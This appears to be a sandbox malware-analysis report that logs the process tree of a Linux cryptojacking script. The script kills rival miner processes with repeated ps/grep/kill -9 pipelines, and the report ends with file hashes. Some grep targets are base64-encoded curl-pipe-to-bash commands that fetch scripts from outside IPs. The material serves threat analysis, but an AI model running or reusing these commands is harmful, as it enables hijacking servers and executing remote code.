/bin/grepgrep dgqtrcst23rtdi3ldqk322j22⤵PID:1119
-
/bin/grepgrep -v grep2⤵PID:1118
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1121 -
/bin/psps aux2⤵
- Reads runtime system information
PID:1117 -
/usr/bin/awkawk "{print \$2}"2⤵PID:1127
-
/bin/grepgrep 2g0uv7npuhrlatd2⤵PID:1126
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1128
-
/bin/grepgrep -v grep2⤵PID:1125
-
/bin/psps aux2⤵PID:1124
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1134
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1135
-
/bin/grepgrep nqscheduler2⤵PID:1133
-
/bin/grepgrep -v grep2⤵PID:1132
-
/bin/psps aux2⤵PID:1131
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1140
-
/bin/grepgrep rkebbwgqpl4npmm2⤵PID:1139
-
/bin/grepgrep -v grep2⤵PID:1138
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1141
-
/bin/psps aux2⤵PID:1137
-
/bin/grepgrep -v aux2⤵PID:1145
-
/bin/grepgrep "]"2⤵PID:1146
-
/bin/grepgrep -v grep2⤵PID:1144
-
/usr/bin/awkawk "\$3>10.0{print \$2}"2⤵PID:1147
-
/bin/psps aux2⤵PID:1143
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1148 -
/usr/bin/awkawk "{print \$2}"2⤵PID:1153
-
/bin/grepgrep 2fhtu70teuhtoh78jc5s2⤵PID:1152
-
/bin/grepgrep -v grep2⤵PID:1151
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1154 -
/bin/psps aux2⤵
- Reads runtime system information
PID:1150 -
/bin/grepgrep 0kwti6ut420t2⤵PID:1157
-
/bin/grepgrep -v grep2⤵PID:1156
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1155 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1159 -
/usr/bin/awkawk "{print \$2}"2⤵PID:1158
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1163
-
/bin/grepgrep 44ct7udt0patws3agkdfqnjm2⤵PID:1162
-
/bin/grepgrep -v grep2⤵PID:1161
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1164 -
/bin/psps aux2⤵PID:1160
-
/bin/grepgrep -v /2⤵PID:1167
-
/bin/grepgrep -v -2⤵PID:1168
-
/bin/grepgrep -v grep2⤵PID:1166
-
/bin/grepgrep -v _2⤵PID:1169
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1165 -
/usr/bin/awkawk "length(\$11)>19{print \$2}"2⤵PID:1170
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1171 -
/bin/grepgrep -v grep2⤵PID:1173
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1176 -
/usr/bin/awkawk "{print \$2}"2⤵PID:1175
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1172 -
/bin/grepgrep "\\[^"2⤵PID:1174
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1180
-
/bin/grepgrep rsync2⤵PID:1179
-
/bin/grepgrep -v grep2⤵PID:1178
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1181 -
/bin/psps aux2⤵PID:1177
-
/bin/grepgrep watchd0g2⤵PID:1184
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1185
-
/bin/grepgrep -v grep2⤵PID:1183
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1186
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1182 -
/bin/psps aux2⤵PID:1187
-
/bin/grepgrep -v grep2⤵PID:1188
-
/bin/egrepegrep "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1189
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1190
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1191
-
/usr/local/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1189
-
/usr/local/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1189
-
/usr/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1189
-
/usr/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1189
-
/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1189
-
/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1189
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1195
-
/bin/grepgrep 158.69.133.18:82202⤵PID:1194
-
/bin/grepgrep -v grep2⤵PID:1193
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1196 -
/bin/psps aux2⤵
- Reads CPU attributes
PID:1192 -
/usr/bin/awkawk "{print \$2}"2⤵PID:1200
-
/bin/grepgrep /tmp/java2⤵PID:1199
-
/bin/grepgrep -v grep2⤵PID:1198
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1201
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1197 -
/usr/bin/awkawk "{print \$2}"2⤵PID:1205
-
/bin/grepgrep gitee.com2⤵PID:1204
-
/bin/grepgrep -v grep2⤵PID:1203
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1206 -
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1202 -
/usr/bin/awkawk "{print \$2}"2⤵PID:1210
-
/bin/grepgrep /tmp/java2⤵PID:1209
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1211
-
/bin/grepgrep -v grep2⤵PID:1208
-
/bin/psps aux2⤵PID:1207
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1215
-
/bin/grepgrep 104.248.4.1622⤵PID:1214
-
/bin/grepgrep -v grep2⤵PID:1213
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1216
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1212 -
/usr/bin/awkawk "{print \$2}"2⤵PID:1220
-
/bin/grepgrep 89.35.39.782⤵PID:1219
-
/bin/grepgrep -v grep2⤵PID:1218
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1217 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1221
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1225
-
/bin/grepgrep /dev/shm/z3.sh2⤵PID:1224
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1226
-
/bin/grepgrep -v grep2⤵PID:1223
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1222 -
/bin/grepgrep kthrotlds2⤵PID:1229
-
/bin/grepgrep -v grep2⤵PID:1228
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1230
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1231 -
/bin/psps aux2⤵PID:1227
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1235
-
/bin/grepgrep ksoftirqds2⤵PID:1234
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1236 -
/bin/grepgrep -v grep2⤵PID:1233
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1232 -
/bin/grepgrep netdns2⤵PID:1239
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1240
-
/bin/grepgrep -v grep2⤵PID:1238
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1241
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1237 -
/usr/bin/awkawk "{print \$2}"2⤵PID:1245
-
/bin/grepgrep watchdogs2⤵PID:1244
-
/bin/grepgrep -v grep2⤵PID:1243
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1246
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1242 -
/bin/grepgrep kdevtmpfsi2⤵PID:1249
-
/bin/grepgrep -v grep2⤵PID:1248
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1251
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1247 -
/usr/bin/awkawk "{print \$2}"2⤵PID:1250
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1255
-
/bin/grepgrep kinsing2⤵PID:1254
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1256 -
/bin/grepgrep -v grep2⤵PID:1253
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1252 -
/bin/psps aux2⤵PID:1257
-
/bin/grepgrep -v grep2⤵PID:1258
-
/bin/grepgrep redis22⤵PID:1259
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1260
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1261 -
/bin/grepgrep " ps"2⤵PID:1265
-
/bin/grepgrep -v aux2⤵PID:1264
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1266
-
/bin/grepgrep -v grep2⤵PID:1263
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1267 -
/bin/psps aux2⤵PID:1262
-
/bin/grepgrep sync_supers2⤵PID:1270
-
/bin/grepgrep -v grep2⤵PID:1269
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1268 -
/usr/bin/cutcut -c 9-152⤵PID:1271
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1272
-
/usr/bin/cutcut -c 9-152⤵PID:1278
-
/bin/grepgrep cpuset2⤵PID:1277
-
/bin/grepgrep -v grep2⤵PID:1276
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1279
-
/bin/psps aux2⤵PID:1275
-
/bin/grepgrep "x]"2⤵PID:1285
-
/bin/grepgrep -v aux2⤵PID:1284
-
/bin/grepgrep -v grep2⤵PID:1283
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1286
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1282 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1287
-
/bin/grepgrep "sh] <"2⤵PID:1291
-
/bin/grepgrep -v aux2⤵PID:1290
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1292
-
/bin/grepgrep -v grep2⤵PID:1289
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1293
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1288 -
/bin/grepgrep " \\[]"2⤵PID:1299
-
/bin/grepgrep -v aux2⤵PID:1298
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1300
-
/bin/grepgrep -v grep2⤵PID:1297
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1301 -
/bin/psps aux2⤵
- Reads CPU attributes
PID:1296 -
/usr/bin/awkawk "{print \$2}"2⤵PID:1308
-
/bin/grepgrep /tmp/l.sh2⤵PID:1307
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1309 -
/bin/grepgrep -v grep2⤵PID:1306
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1305 -
/usr/bin/awkawk "{print \$2}"2⤵PID:1315
-
/bin/grepgrep -v grep2⤵PID:1313
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1312 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1316
-
/bin/grepgrep /tmp/zmcat2⤵PID:1314
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1322
-
/bin/grepgrep hahwNEdB2⤵PID:1321
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1323 -
/bin/grepgrep -v grep2⤵PID:1320
-
/bin/psps aux2⤵PID:1319
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1327
-
/bin/grepgrep CnzFVPLF2⤵PID:1326
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1328 -
/bin/grepgrep -v grep2⤵PID:1325
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1324 -
/usr/bin/awkawk "{print \$2}"2⤵PID:1334
-
/bin/grepgrep CvKzzZLs2⤵PID:1333
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1335 -
/bin/grepgrep -v grep2⤵PID:1332
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1331 -
/bin/grepgrep aziplcr72qjhzvin2⤵PID:1340
-
/bin/grepgrep -v grep2⤵PID:1339
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1341
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1342 -
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1338 -
/usr/bin/awkawk "{print \$2}"2⤵PID:1347
-
/bin/grepgrep /tmp/udevd2⤵PID:1346
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1348 -
/bin/grepgrep -v grep2⤵PID:1345
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1344 -
/usr/bin/awkawk "{print \$2}"2⤵PID:1353
-
/bin/grepgrep KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA2⤵PID:1352
-
/bin/grepgrep -v grep2⤵PID:1351
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1354
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1350 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1361 -
/usr/bin/awkawk "{print \$2}"2⤵PID:1360
-
/bin/grepgrep Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo2⤵PID:1359
-
/bin/grepgrep -v grep2⤵PID:1358
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1357 -
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1368
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1367
-
/bin/grepgrep sustse2⤵PID:1366
-
/bin/grepgrep -v grep2⤵PID:1365
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1364 -
/usr/bin/awkawk "{print \$2}"2⤵PID:1372
-
/bin/grepgrep sustse32⤵PID:1371
-
/bin/grepgrep -v grep2⤵PID:1370
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1373 -
/bin/psps aux2⤵
- Reads CPU attributes
PID:1369 -
/bin/grepgrep mr.sh2⤵PID:1378
-
/bin/grepgrep wget2⤵PID:1379
-
/bin/grepgrep -v grep2⤵PID:1377
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1380
-
/bin/psps aux2⤵PID:1376
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1381
-
/bin/grepgrep curl2⤵PID:1387
-
/bin/grepgrep mr.sh2⤵PID:1386
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1389
-
/bin/grepgrep -v grep2⤵PID:1385
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1388
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1384 -
/bin/grepgrep wget2⤵PID:1393
-
/bin/grepgrep 2mr.sh2⤵PID:1392
-
/bin/grepgrep -v grep2⤵PID:1391
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1395
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1394
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1390 -
/bin/grepgrep curl2⤵PID:1401
-
/bin/grepgrep 2mr.sh2⤵PID:1400
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1402
-
/bin/grepgrep -v grep2⤵PID:1399
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1403
-
/bin/psps aux2⤵PID:1398
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1410
-
/bin/grepgrep wget2⤵PID:1409
-
/bin/grepgrep cr5.sh2⤵PID:1408
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1411 -
/bin/grepgrep -v grep2⤵PID:1407
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1406 -
/bin/grepgrep curl2⤵PID:1415
-
/bin/grepgrep cr5.sh2⤵PID:1414
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1416
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1417
-
/bin/grepgrep -v grep2⤵PID:1413
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1412 -
/bin/grepgrep wget2⤵PID:1421
-
/bin/grepgrep logo9.jpg2⤵PID:1420
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1422
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1423
-
/bin/grepgrep -v grep2⤵PID:1419
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1418 -
/bin/grepgrep curl2⤵PID:1427
-
/bin/grepgrep logo9.jpg2⤵PID:1426
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1428
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1429
-
/bin/grepgrep -v grep2⤵PID:1425
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1424 -
/usr/bin/awkawk "{print \$2}"2⤵PID:1433
-
/bin/grepgrep j2.conf2⤵PID:1432
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1434
-
/bin/grepgrep -v grep2⤵PID:1431
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1430 -
/bin/grepgrep wget2⤵PID:1438
-
/bin/grepgrep luk-cpu2⤵PID:1437
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1439
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1440 -
/bin/grepgrep -v grep2⤵PID:1436
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1435 -
/bin/grepgrep luk-cpu2⤵PID:1443
-
/bin/grepgrep curl2⤵PID:1444
-
/bin/grepgrep -v grep2⤵PID:1442
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1445
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
- Reads runtime system information
PID:1446 -
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1441 -
/bin/grepgrep wget2⤵PID:1450
-
/bin/grepgrep ficov2⤵PID:1449
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1451
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1452 -
/bin/grepgrep -v grep2⤵PID:1448
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1447 -
/bin/grepgrep ficov2⤵PID:1455
-
/bin/grepgrep curl2⤵PID:1456
-
/bin/grepgrep -v grep2⤵PID:1454
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1458
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1457
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1453 -
/bin/grepgrep wget2⤵PID:1462
-
/bin/grepgrep he.sh2⤵PID:1461
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1463
-
/bin/grepgrep -v grep2⤵PID:1460
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1464
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1459 -
/bin/grepgrep curl2⤵PID:1468
-
/bin/grepgrep he.sh2⤵PID:1467
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1469
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1470 -
/bin/grepgrep -v grep2⤵PID:1466
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1465 -
/bin/grepgrep wget2⤵PID:1474
-
/bin/grepgrep miner.sh2⤵PID:1473
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1475
-
/bin/grepgrep -v grep2⤵PID:1472
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1476
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1471 -
/bin/grepgrep miner.sh2⤵PID:1479
-
/bin/grepgrep curl2⤵PID:1480
-
/bin/grepgrep -v grep2⤵PID:1478
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1481
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1482
-
/bin/psps aux2⤵PID:1477
-
/bin/grepgrep wget2⤵PID:1486
-
/bin/grepgrep nullcrew2⤵PID:1485
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1487
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1488 -
/bin/grepgrep -v grep2⤵PID:1484
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1483 -
/bin/grepgrep curl2⤵PID:1492
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1493
-
/bin/grepgrep nullcrew2⤵PID:1491
-
/bin/grepgrep -v grep2⤵PID:1490
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1494 -
/bin/psps aux2⤵
- Reads CPU attributes
PID:1489
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2B
MD5b026324c6904b2a9cb4b88d6d61c81d1
SHA1e5fa44f2b31c1fb553b6021e7360d07d5d91ff5e
SHA2564355a46b19d348dc2f57c046f8ef63d4538ebb936000f3c9ee954a27460dd865
SHA5123abb6677af34ac57c0ca5828fd94f9d886c26ce59a8ce60ecf6778079423dccff1d6f19cb655805d56098e6d38a1a710dee59523eed7511e5a9e4b8ccb3a4686